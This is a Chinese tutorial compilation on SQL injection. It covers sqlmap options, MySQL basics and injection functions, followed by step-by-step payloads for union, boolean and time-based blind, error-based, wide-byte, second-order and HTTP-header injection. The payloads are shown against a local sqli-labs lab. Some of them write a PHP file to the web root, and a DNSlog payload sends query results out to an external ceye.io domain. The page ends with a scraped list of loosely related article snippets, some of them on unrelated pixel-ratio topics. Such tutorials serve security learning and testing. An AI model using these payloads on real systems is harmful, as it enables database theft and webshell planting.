sql注入工具、检测及手工注入集合

article/2025/10/11 4:07:51

 

0x01 sqlmap

sqlmap是一个开源渗透测试工具,它可以自动检测和利用SQL注入缺陷,并接管数据库服务器。它配备了强大的检测引擎,为最终渗透测试提供了许多细分功能,以及广泛的交换机,从数据库指纹、从数据库获取数据,到访问底层文件系统和通过带外连接在操作系统上执行命令。

sqlmap是一个自动化注入工具,能判断存在注入点的参数,能够识别存在哪些类型的注入 5种,并能识别出对方是什么数据库,能根据用户选择,读取哪些数据。

常见命令

-u #注入点
-g 谷歌搜索
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” –resume)
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” –start 2 –top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
--sql -shell  写shell
--delay 延迟的时间

探测等级参数:—level

(有五个等级,默认为1级)

参数影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试

0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL]
1:同时显示普通信息[INFO]和警告信息[WARNING]
2:同时显示调试信息[DEBUG]
3:同时显示注入使用的攻击荷载
4:同时显示HTTP请求
5:同时显示HTTP响应头
6:同时显示HTTP响应体

风险等级参数:—risk

2会增加基于事件的测试语句

3会增加OR语句的SQL注入测试

有时在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表造成很大的风险

文件操作

手工操作

读取文件

load_file()

payload:

?id=-1' union select 1,2,load_file('D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php')—+

写入文件

into outfile()

payload:

?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'D:/phpstudy/PHPTutorial/WWW/test.php'--+

利用sqlmap操作

读取文件

--file-read #读取文件,相当于load_file()

payload:

load_file() 
payload:?id=-1' union select 1,2,load_file('D:/phpstudy/PHPTutorial/WWW/sqli-labs-master/Less-1/index.php')—+   

写入文件

--file-write #写入文件,相当于 into outfile

--file-dest #写入文件的存放路径

into outfile()
payload:
sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --file-write "D:/phpstudy/PHPTutorial/WWW/test.php" --file-dest 

0x02 mysql

定义

  1. 数据库 :是一些有关联的表的组合
  2. 表:由一定字段和记录组成
  3. 字段:一个数据项 Field
  4. 记录:一条对应字段的记录
  5. 主键:主键是唯一的,一个数据表中只能包含一个主键,可使用主键来查询数据
  6. 外键:外键用于关联两个表
  7. 索引:使用索引可快速访问数据库表中的特定信息,索引是对数据库表中一列或多列的值进行排序的一种结构。

SQL分类

  1. DDL(Data Definition Language) 数据定义语言:用来操作数据库、表、列等
  2. DML(Data Manipulation Language) 数据操作语言:用来操作数据库中表里的数据
  3. DCL(Data Control Language) 数据控制语言:用来操作访问权限和安全级别
  4. DQL(Data Query Language) 数据查询语言:用来查询数据

DDL:数据定义语言

创建数据库

create database 数据库名字 character set 字符集;

修改数据库

alter database 数据库名字 character set 字符集;

查看数据库

show databases;

删除数据库

drop database 数据库名;

创建表

create table 表名 (字段1名 数据类型 是否主键 是否默认,或者不为空 ,字段2名 数据类型 是否主键 是否默认,或者不为空 ,...字段N名 数据类型 是否主键 是否默认,或者不为空 ); 

删除表

drop table 要删除的表名;

修改表名

alter table 要改的表名 to 新表名;

查看表

show tables;

查看表的字段信息

desc 表名;

添加一个字段

alter table 要改的表 add 字段名 数据类型; 

删除一个字段

alter table 要改的表 drop 要删的字段名; 

删除表

drop table 要删除的表名;

删除一条记录

delete from 表名 where 字段=值;

DML:数据操作语言

查询表中所有数据

select * from 你要查的表;

插入表中数据

单个插入

insert into 你要插入的表名 (字段4,字段N) value (值);
insert into 你要插入的表名 value(值1,值N);

更新操作

update 表名 set 列名=列值;
update 要更新的表名 set 字段n=变值, 字段m=变值 where 不变的字段 = 不变的值;

删除操作

delete from 表名 where 要删除的列名 = 要删除的值;
delete from 表名;

delete与truncate的区别

  • delete 是DML操作,这个操作会放到事务中,只有在事务提交之后才能生效,支持事务的回滚。truncate 和
  • drop 是DDL操作,操作会立即生效,操作不放到事务中,不能回滚。

模糊查询

_ (代表任意一个字符)
% (代表0....N个字符)

聚合函数(以下给出的都是常用函数)

  • Count():统计指定列表不为 null 的记录行数
  • max():计算指定列的最大值,如果指定列是字符串类型,那么使用字符串排序运算
  • Min():计算指定列的最小值,如果指定列是字符串类型,那么使用字符串排序运算
  • Sum():计算指定列的数值和,如果指定列类型不是数值类型,那么计算结果为0
  • Avg():计算指定列的平均值,如果指定列类型不为数值类型,那么计算结果为0

LIMIT语句

limit子句用于限制查询结果返回的数量。

select * from tablename limit 参数1,参数2;
  • tablename:要查询的表名;
  • 参数1:查询结果的索引值,从哪一行开始(默认从0开始);
  • 参数2:查询结果返回数量,一共查多少行;

合并结果集

UNION 指令的目的是将两个 SQL 语句的结果合并起来,合并时去除重复记录

select * from tablename1 UNION select * from tablename2;

合并时不去除重复记录

select * from tablename1 UNION ALL select * from tablename2;

被合并的两个结果:列数、列类型必须相同。

子查询

一个select语句中包含另一个完整的select语句,或两个以上select

  • where后:把select查询出的结果当作另一个select的条件值
  • from后:把查询出的结果当作一个新表

0x03 常用数据库默认端口号

  • mysql的默认端口是3306
  • sqlserver默认端口号为:1433
  • oracle 默认端口号为:1521
  • DB2 默认端口号为:5000
  • PostgreSQL默认端口号为:5432

0x04 information_schema数据库表说明

information_schema数据库是MySQL系统自带的数据库,它提供了数据库元数据的访问方式。Mysql大于5.0以上的版本的数据库中,会存在一个information_schema数据库。

这个库中保存了整个Mysql中的所有信息,包括所有库,所有表,所有数据,可以把它理解为一个信息数据库。

  • SCHEMATA表:提供了当前mysql实例中所有数据库信息,show databases的结果就是取自该表。
  • TABLES表:提供了关于数据库中的表的信息。
  • COLUMNS表:提供了表中的列信息,详细表述了某张表的所有列以及每个列的信息。

0x05 sql注入常用函数

current_user() 当前用户名
session_user() 链接数据库的用户名
@@basedirmysql 安装路径
@@datadir 数据库路径
@@version_compile_os 操作系统版本

字符串链接函数

concat、concat_ws、group_concat

concat(str1, str2,...)

返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null

select concat(id,'|',username,'|',password) from users;

concat_ws(separator, str1, str2, ...)

第一个参数指定分隔符,分隔符不能为null,如果为null,则返回结果为null

select concat_ws('|',id,username,password) from users;

group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc] [separator '分隔符'])

可以排除重复值;如果希望对结果中的值进行排序

select id,group_concat(score SEPARATOR ';') from testgroup group by id;

字符串截取函数

substr、mid、left、right、locate

mid(column_name,start[,length])

  • column_name:要提取字符的字段
  • start:规定开始位置(起始值是 1)
  • length:要返回的字符数
select mid('martin',2,3);

和mid()函数的用法一样

select substr((select username from users limit 0,1),1,2);

left(a,b):从左侧截取 a 的前 b 位

select left('martin',2);

right(a,b):从右侧截取 a 的前 b 位

select right('martin',2);

locate:返回第一个字符串首次在第二个字符串出现得位置

select locate('security','1234security');

返回指定的ASCII字符对应的值

ascii、ord

ascii 返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL

select ascii('a');

ord 函数返回字符串第一个字符的ASCII 值

select ord('a');

返回指定数字对应的ascii码字符函数:

select char(97);

计算相关

length、count

length(str)

mysql里面的length()函数是一个用来获取字符串长度的内置函数

select length(database());

count() 是一个聚合函数,对于返回的结果集,一行行地判断,如果 count 函数的参数不是 NULL,累计值就加 1,否则不加。最后返回累计值。

select count(*) from users;

时间盲注会用到的函数

sleep、if

select sleep(5);
select if((locate('s',database(),1)=1),sleep(5),1);
if(expr1,expr2,expr3)
当expr1为真时,执行expr2
当expr1为假时,执行expr3

0x06 mysql注入原理

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令

SQL注入的危害

  • 数据库信息泄露
  • 数据库被恶意操作
  • 服务器被远程控制
  • 网页篡改等

mysql注入检测方式

字符型判断

判断某URL是否存在注入

url: http://127.0.0.1/sqli-labs-master/Less-1/?id=1
后端sql:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

A.一般在传参后面加一个单引号或者双引号,报错或者没有返回正常的页面,大概率存在注入的,如

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'

把id的值 1'传入后端过后,没有对ID过滤,导致查询语句变成

$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";

两个单引号构成了闭合,而1后面的这个单引号多出来了,所以执行SQL会报错。

报错就证明我们构造的单引号'被带入到数据库中做了查询了,这就是SQL注入。而且在代码中打印了错误。对于有些网站没有打印错误的,可以根据页面是否返回正常来判断是否被带入SQL执行。

B.进一步检测是否存在注入

用 and/or 来判断

?id=1 and 1=1 正常
?id=1 and 1=2 正常
?id=1’and 1=1 --+ 正常
?id=1’and 1=2 --+ 错误

其中 --是mysql注释符,加号为空格

mysql的注入符为 -- (杠杠空格),而空格替换成+号,浏览器会对+号urldecode成空格。

通过注释符注释掉后面多出来的内容,变成

$sql="SELECT * FROM users WHERE id='1'and 1=2 --+' LIMIT 0,1”;

这样就能够判断出,传入的恶意语句确实被带入到数据库中做了查询。

?id=1 or 1=1  正常
?id=1 or 1=2  正常
?id=-1’ or 1=1 --+ 正常
?id=-1’ or 1=2 --+ 错误

只要满足一个条件,便可以执行成功,我们首先让ID=-1,而数据库中大概率不存在ID等于-1的数据,所以可以用or来判断。

通过以上步骤,判断出来的这种注入类型为字符型注入

?id=1'and '1'='1
?id=1'and '1'='2

带入到源码中sql语句就是

SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1
SELECT * FROM users WHERE id='1 ' and '1' ='2' LIMIT 0,1

数字型判断

更改id数字的大小及and 1=1 and 1=2可判断是否存在注入。

?id=1-1 返回为空
?id=2-1 会返回id=1的界面
?id=1 and 1=1 返回正常
?id=1 and 1=2 返回错误

搜索型判断

有的一些搜索请求,也会存在注入,多见于一些源码类似如下:

$sql="select * from user where password like '%$pwd%' order by password";

like 用于搜索匹配字段中的内容

如果用户这样去输入

xx'and 1=1 and '%'='

那么传入到源码中的sql会变成

select * from user where password like '%xx'and 1=1 and '%'='%' order by password 

则会存在sql注入的。

搜索型注入判断

'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%’='

0x07 sql注入类型

union注入

使用union合并两个或多个select语句的结果集,两个及以上的select必须有相同列、且各列的数据类型也都相同,使用联合查询进行注入的前提是要进行注入的页面必须有显示位。

联合查询注入可在链接最后添加 order by 基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目

  1. 判断是否存在注入
  2. 判断注入类型:字符型/数字型/搜索型
  3. 通过order by 进一步判断字段数
?id=1'  order by 3 %23  正常
?id=1'  order by 4 %23  报错
  1. 在显示位替换成一些MYsql的函数。
?id=-1' union select 1,2,3 %23
?id=-1' union select 1,database(),version() %23
  1. 读取当前库中的表
?id=-1' union select 1,group_concat('
',table_name),3 from information_schema.tables wheretable_schema=database() %23
  1. 取表中字段
?id=-1' union select 1,group_concat('
',column_name),3 from information_schema.columns where table_schema=database() and table_name='users' %23
  1. 取数据
?id=-1' union select 1,group_concat('
',username),group_concat('
',password) from users %23

布尔盲注

布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法,适用于web的页面返回值都是True或者False

在union注入用不了,没有显示位置,只能根据页面是否返回true或者false来判断是否被带入查询。

  1. 判断是否存在注入
  2. 判断注入类型:字符型/数字型/搜索型
  3. 判断能使用的注入方式,不能使用union注入
?id=1' and 1=1 %23  页面回显正常
?id=1' and 1=2 %23  页面回显不正常

证明存在盲注

  1. 获取数据库名称的长度
?id=1' and (length(database())>7) %23  回显正常
?id=1' and (length(database())>8) %23  回显不正常

证明数据库名称长度为7位

  1. 获取数据库的名称
?id=1' and  (ascii(substr(database(),1,1)) >110) %23 回显正常
?id=1' and  (ascii(substr(database(),1,1)) >120) %23 回显不正常
?id=1' and  (ascii(substr(database(),1,1)) >115) %23 回显不正常
?id=1' and  (ascii(substr(database(),1,1)) >114) %23  回显正常

大于114,不大于115,证明当前使用的数据库名称第一位的ascii值为115。所以查看asscii表得知为 字符 s

  1. 获取表数量
?id=1' and  (select count(*) from information_schema.tables where table_schema='security') >5--+ 回显错误
?id=1' and  (select count(*) from information_schema.tables where table_schema='security') >4--+ 回显正常
  1. 获取表的长度
?id=1' and  (ord(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >110)--+  回显错误
?id=1' and  (ord(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >100)--+    回显正常
?id=1' and  (ord(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) > 101)--+   回显不正常

那么当前security库的第一张表的第一个字符的ascii值为101,转换为字符就是 e

时间盲注

就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点,当布尔型注入页面没有正常显示的时候,我们很难判断注入的代码是否被执行,基于时间的盲注便应运而生。

  1. 判断是否存在注入
  2. 判断注入类型:字符型/数字型/搜索型
  3. 判断能使用的注入方式
?id=1' and 1=1 %23  页面回显正常
?id=1' and 1=2 %23  页面回显正常
?id=1' and sleep(5) %23

页面延迟了5秒钟响应,证明sleep被带入到数据库做了查询

  1. 获取数据库名称的长度
?id=1' and if((length(database())>7),sleep(5),1) %23  延时5秒
?id=1' and if((length(database())>8),sleep(5),1) %23  不延时5秒

证明数据库名称长度为7位

  1. 获取数据库的名称
?id=1' and  if((ascii(substr(database(),1,1)) >110),sleep(5),1) %23 延时5秒
?id=1' and  if((ascii(substr(database(),1,1)) >120),sleep(5),1) %23 不延时5秒
?id=1' and  if((ascii(substr(database(),1,1)) >115),sleep(5),1) %23  不延时5秒
?id=1' and  if((ascii(substr(database(),1,1)) >114),sleep(5),1) %23  延时5秒

大于114,不大于115,证明当前使用的数据库名称第一位的ascii值为115。所以查看asscii表得知为 字符 s

  1. 获取表数量
?id=1' and if((select count(*) from information_schema.tables where table_schema=database()) >4,sleep(5),1)--+ 延时5秒
?id=1' and if((select count(*) from information_schema.tables where table_schema=database()) >5,sleep(5),1)--+ 不延时5秒

说明表的数量为5张

DNSlog盲注

可以减少发送的请求,直接回显数据实现注入

利用条件

mysql.ini中secure_file_priv必须为空
secure_file_priv 为null 不允许导入导出
secure_file_priv 为/tmp 导入导出只能在/tmp目录下
secure_file_priv 为空时 则不做限制允许导入导出
payload:
?id=1' and load_file(concat('\\\\',(select database()),'.27epx0.ceye.io\\abc'))--+

替换select database()查询语句可以实现DNS外带的回显注入

报错注入

报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

报错注入也称之为公式化注入方式

报错注入利用函数1

updatexml()
update(目标xml文档,xml路径,更新内容)
payload:
?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1));—+
  • 0x7e是ascii编码,解码为 ~
  • updatexml() 是更新xml文档的函数

xml文档中查找字符串位置是用/xx/xx...,写入其他格式会报错

  1. 更改select user()位置的sql语句
  2. 获取当前库的表
?id=1' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1))--+

获取当前库的第一张表

  1. 获取某表字段
?id=1' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e),1))--+

获取emails表的第一个字段

报错注入利用函数2:

extractvalue()
extractvalue() :对XML文档进行查询的函数
extractvalue(目标xml文档,xml路径)
payload:
?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) —+
?id=1' and (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)))--+获取当前库的第一张表,只需更改limit的位置
?id=1' and (extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e)))--+ 获取字段

报错注入利用函数3:

floor()

向下取整,返回整数,返回不大于X的最大整数值

payload:
?id=1' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

利用主键重复,因为floor(rand(0)*2)的重复性,导致group by语句出错

group by key:循环读取数据的每一行,将结果保存于临时表中。

读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

宽字节注入

gbk编码方式需要两个ascii码组合来解码

当传递一个参数时,输入单引号 id = 1',会被过滤函数添加“\”给过滤掉,因为被认为是非法字符

当http协议传输时,经过url编码传递到服务器,在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号

?id=1%81' 单引号前面加%81,构成宽字节,若报错转义过后的\被吃掉。
?id=1%81' and 1=1 --+  回显正常
?id=1%81' and 1=2 --+  回显不正常
?id=1%81'  order by 3 --+ 回显正常
?id=1%81'  and 1=2 union select 1,2,3 --+ 显示位 2,3

二次注入

指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询

修改账户为admin的密码

payload:
后端源码:$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
新建用户admin’#
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin’#' and password='$curr_pass' ";

重置账户密码,输入名字 admin’#,修改过后发现被修改的账户为admin

http头注入

后台开发人员为了验证客户端头信息或者通过http header头信息获取客户端的一些资料时会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL Inject漏洞。

1. user-agent处加单引号报错
2. $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)”;
3. user-agent处1'  and '1'='1  构造闭合
4. user-agent处1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'=‘1
5. insert into uagents(uagent,ip_address,username) values('1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1','127.0.0.1','admin’);

http://chatgpt.dhexx.cn/article/FLECM9Ov.shtml

相关文章

sql 注入工具

众所周知&#xff0c;SQL注入攻击是最为常见的Web应用程序攻击技术。同时SQL注入攻击所带来的安全破坏也是不可弥补的。以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞。 BSQL Hacker BSQL Hacker是由Portcullis实验室开发的&#xff0c;BSQL Hacker 是一个SQL自动注入工…

sql注入 学习笔记

学习来源视频&#xff1a;https://www.bilibili.com/video/BV1HT411E7bH?p1&vd_source91ac068ef47e260a09856e8db81907c9 什么是sql注入 sql注入又称sql injection&#xff0c;通过网页或者网络指令的方式修改原本的sql指令&#xff0c;从而从数据库中查询的敏感的信息。…

Java 防止 SQL 注入工具类

2019独角兽企业重金招聘Python工程师标准>>> package cn.manmanda.api.util;import javax.servlet.http.HttpServletRequest;/*** 防止SQL注入工具类* author * date 2017/12/29 15:39*/ public class AntiSQLInjectionUtil {// public final static String regex …

java防止SQL注入

前言 这里常用的方法就不说了&#xff0c;#{}预编译不说&#xff0c;但是如果我们不得不用${}来传递参数&#xff0c;那就有点麻烦了&#xff0c;另外&#xff0c;一般我们会用到druid自带的sql注入过滤&#xff1a; 但是经过测试发现&#xff0c;这个方法并不能完全屏宾sql注…

Pangolin-最好的SQL注入工具

分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴! 点击这里使用RSS订阅本Blog: <script type="text/javascript" src="…

sql注入工具--Sqlmap

Sqlmap是一款自动化sql注入的工具&#xff0c;其功能强大&#xff0c;支持多种数据库&#xff0c;包括mysql&#xff0c;sqlserver等主流的数据库&#xff0c;采用独特的sql注入方法来达到自动化注入扫描漏洞的目的。 1&#xff09;基于布尔的盲注&#xff08;Type:boolean-bas…

宁浩网sql注入工具_国产SQL注入漏洞测试工具 - 超级SQL注入工具(SSQLInjection)...

此工具为本人对C#、Socket及HTTP协议、SQL注入进行深入研究后&#xff0c;闲暇时间做的一款SQL注入工具。不说秒SQLMap&#xff0c;直接秒杀什么webcruiser、Safe3SI、pangolin、havij、DSQLTools、明小子等&#xff0c;今后可以扔掉这些过时的工具了。 简介超级SQL注入工具(SS…

SQL注入工具-----sqlmap

sqlmap中的一些常见的命令&#xff1a; -h,–help 显示基本的帮助信息并退出 -hh 显示高级帮助信息并退出 –version 显示程序版本信息并退出 -u 目标URL -m 后接一个txt文件&#xff0c;文件中是多个url&#xff0c;sqlmap会自动化的检测其中的所有url -r 可以将一个post请求…

SQL注入工具

众所周知&#xff0c;SQL注入攻击是最为常见的Web应用程序攻击技术。同时SQL注入攻击所带来的安全破坏也是不可弥补的。以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞。 BSQL Hacker 10个SQL注入工具 BSQL Hacker是由Portcullis实验室开发的&#xff0c;BSQL Hacke…

mysql sql注入工具下载_超级SQL注入工具【SSQLInjection】

简介&#xff1a; 超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具&#xff0c;支持出现在HTTP协议任意位置的SQL注入&#xff0c;支持各种类型的SQL注入&#xff0c;支持HTTPS模式注入。 超级SQL注入工具 (已更新beta15) 超级SQL注入工具(SSQLInjection…

mysql sql注入工具下载_sql注入工具下载|超级SQL注入工具SSQLInjectionv1.0 正式版 附使用说明 - 极光下载站...

超级SQL注入工具正式版下载。超级SQL注入工具虽然有一定的历史了&#xff0c;但是超级SQL注入工具还是一样的强悍&#xff01;超级SQL注入工具适用于Web渗透的朋友&#xff01; 超级SQL注入工具简介&#xff1a; 超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注…

SQLiDetector:一款功能强大的SQL注入漏洞检测工具

关于SQLiDetector SQLiDetector是一款功能强大的SQL注入漏洞检测工具&#xff0c;该工具支持BurpBouty配置文件&#xff0c;可以帮助广大研究人员通过发送多个请求&#xff08;包含14种Payload&#xff09;并检查不同数据库的152个正则表达式模式来检测基于错误的SQL注入漏洞。…

渗透测试 ( 6 ) --- SQL 注入神器 sqlmap

sqlmap 官网&#xff1a;http://sqlmap.org/ sqlmap文档地址&#xff1a;https://github.com/sqlmapproject/sqlmap/wiki/Usage sqlmap 使用 思维导图&#xff1a;http://download.csdn.net/detail/freeking101/9887831 黑帽与白帽都喜爱的十大SQL注入工具&#xff1a;http://…

10个SQL注入工具

众所周知&#xff0c;SQL注入攻击是最为常见的Web应用程序攻击技术。同时SQL注入攻击所带来的安全破坏也是不可弥补的。以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞。 BSQL Hacker BSQL Hacker是由Portcullis实验室开发的&#xff0c;BSQL Hacker 是一个SQL自动注入…

Web安全:SQL注入工具

SQL注入工具主要是针对Web服务器后台数据库的注入&#xff0c;其主要目的是获取数据库中的数据。以前常用的SQL注入工具有啊D注入工具及Domain&#xff08;明小子注入工具&#xff09;&#xff0c;现在常用的SQL注入工具有HackBar、SQLMap 、Pangolin、Havij、Safe3 SQL inject…

面试官:说说设备像素、css像素、设备独立像素、dpr、ppi 之间的区别?

一、背景 在css中我们通常使用px作为单位&#xff0c;在PC浏览器中css的1个像素都是对应着电脑屏幕的1个物理像素 这会造成一种错觉&#xff0c;我们会认为css中的像素就是设备的物理像素 但实际情况却并非如此&#xff0c;css中的像素只是一个抽象的单位&#xff0c;在不同的设…

dpr(设备像素比)与 移动端适配

在上一篇文章中&#xff08;使用 rem 实现移动端的自适应布局&#xff09;&#xff0c;我们讲到 iphone6s 的屏幕宽度为 375px&#xff0c;我们拿到的视觉稿也是基于iphone6s 设计的&#xff0c;但是设计稿的宽度却是 750px&#xff0c;这是为什么呢&#xff1f; 原因就是 ipho…

新一代Web技术栈的演进:SSR/SSG/ISR/DPR都在做什么?

在开始阅读之前&#xff0c;先解释一下文章里用到的英文缩写&#xff1a; CSR&#xff1a;Client Side Rendering&#xff0c;客户端&#xff08;通常是浏览器&#xff09;渲染&#xff1b;SSR&#xff1a;Server Side Rendering&#xff0c;服务端渲染&#xff1b;SSG&#xf…

Dapr

环境&#xff1a; window10 docker desktop dotnet 5.0 一、安装 Dapr CLI 打开 Windows PowerShell 或 cmd &#xff0c;运行以下命令以安装 Dapr CLI&#xff0c;并添加安装路径到系统环境变量中。 powershell -Command "iwr -useb https://raw.githubusercontent.…

当我们在讨论设备像素比(device pixel ratio,dpr)的时候我们在讨论什么?

目录 0. 为什么要写这篇文章&#xff1f;1. 设备像素比的问题在哪里&#xff1f;1.1. 不同的论述导致不同的理解1.2. 设备独立像素与CSS像素1.3. 小结 2. 设备像素比 设备物理像素/CSS像素&#xff0c;真的正确吗&#xff1f;2.1. PC端验证2.2. 手机端验证2.3. 出了什么问题&a…